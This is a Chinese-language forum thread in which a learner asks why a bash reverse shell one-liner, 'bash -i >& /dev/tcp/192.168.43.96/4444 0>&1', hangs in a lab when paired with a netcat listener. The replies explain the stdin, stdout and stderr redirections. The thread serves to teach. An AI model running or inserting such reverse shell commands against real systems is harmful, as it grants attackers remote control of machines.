iT邦幫忙

0

資安 linux reverse shell STDIN 小問題(已解決)

  • 分享至 

  • xImage

各位好我在遠端執行shell實驗的時候遇到了一個stdin stdout 的小問題

1.我有一台攻擊機 window 裝 netcat
//監聽 4444 端口
nc -lvnp 4444

2.另一台kali linux 為受害者 上面先開啟bash 命令行

(這邊有幾個小坑
1.我的kali 打開左上角 terminal 為sh
2./dev/tcp/{IP}/{PORT} 是一個只存在bash 裡面的虛擬檔案 sh 是沒有的
他的功能是向指定IP 端口 發送數據。)

所以下面的命令是用 bash 的terminal 環境下執行的
可以反彈一個shell
bash -i >& /dev/tcp/192.168.43.96/4444 0>&1

命令拆解說明:
bash -i 是交互式 terminal

>&

是不論 bash -i 的回顯結果對的或錯的都作為輸出

/dev/tcp/192.168.43.96/4444 就是把上面的輸出 都丟到我的攻擊機

0>&1 這個地方不是很明白 (如果沒猜錯就是 stdin 但具體不知道是哪些字串)

stdin stdout說明
https://www.youtube.com/watch?v=5za6eRdHjpw

為什麼這句少了 0>&1
bash -i >& /dev/tcp/192.168.43.96/4444

我的netcat 是可以監聽得到但是就卡住了。

不好意思問題有點複雜
希望有人知道這個問題。

圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 個回答

0
雷峰
iT邦研究生 1 級 ‧ 2022-12-23 14:02:22

reverse shell
遙控端(就是nc -lvnp 4444這個動作),他沒有卡住,只是監聽中。
要被控端發送連接訊號,這是時候遙控端才會收到。

phantom_0 iT邦新手 5 級 ‧ 2022-12-23 15:02:49 檢舉

感些您的答覆。
確實是沒卡注,而且還可以相當於傳命令給受害者,不過受害者確無法正常執行命令,而導致看起來整個連接出了問題。

不過這並不是我想問的點。
我已經了解了背後的原理。

bash -i >& /dev/tcp/192.168.43.96/4444 0>&1

這句反彈shell,其實運用了 linux 文件描述符,才可以這麼精簡優美
stdin
stdout
stderr

關鍵在於這兩個

>&

0>&1

不過解釋起來有點麻煩,如果你想深入了解原理,我也可以寫一篇告訴你。

雷峰 iT邦研究生 1 級 ‧ 2022-12-24 16:29:58 檢舉

0:代表鍵盤輸入
1:代表螢幕輸出
2:代表錯誤輸出

&:將標準輸出和錯誤重定向
0>&1:標準輸入附加到標準輸出

我要發表回答

立即登入回答